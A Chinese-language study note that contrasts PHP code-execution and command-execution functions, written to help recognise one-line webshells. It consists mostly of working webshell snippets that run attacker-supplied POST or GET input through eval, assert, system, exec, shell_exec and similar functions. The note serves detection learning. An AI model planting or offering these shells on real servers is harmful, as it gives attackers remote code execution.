一、
一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。
二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)
1、简单类
1 //#1-eval 2 <?php 3 eval($_POST["cmd"]) 4 ?> 5 //post:cmd=phpinfo(); 6 7 8 //#2-assert 9 <?php 10 assert($_POST["cmd"]) 11 ?> 12 //post:cmd=phpinfo(); 13 14 15 //#3-call_user_func 16 <?php 17 call_user_func($_POST["fun"],$_POST["para"]) 18 ?> 19 //post:fun=assert¶=phpinfo();
2、复杂类
1 //#1-create_function 2 <?php 3 $a= $_POST['func']; 4 $b = create_function('$a',"echo $a"); 5 $b(''); 6 ?> 7 //post:func=phpinfo(); 8 9 10 //#2-array_map------->这个不懂先记下来 11 <?php 12 $array = array(0,1,2,3,4,5); 13 array_map($_GET['func'],$array); 14 ?> 15 //post:func=phpinfo
三、PHP的system类型函数,一句话:命令执行而不是代码执行。
1 //#1-system 2 <?php system($_POST["cmd"]);?> 3 4 //#2-passthru 5 <?php passthru($_POST["cmd"]);?> 6 7 //#3-exec 8 <?php echo exec($_POST["cmd"]);?> 9 10 //#4-pcntl_exec 11 <?php 12 pcntl_exec("/bin/bash",array($_POST["cmd"])); 13 ?> 14 15 //#5-shell_exec 16 <?php echo shell_exec($_POST["cmd"]); ?> 17 18 //#6-popen()/proc_popen() 19 <?php $handle = popen("/bin/ls","r");?> 20 21 //#7-`` 22 <?php echo `whoami`?>
高深一点的:
1 <?php 2 $cmd = 'system'; 3 ob_start($cmd) 4 echo "$_GET[a]"; 5 ob_end_flush(); 6 ?>//?a=whoami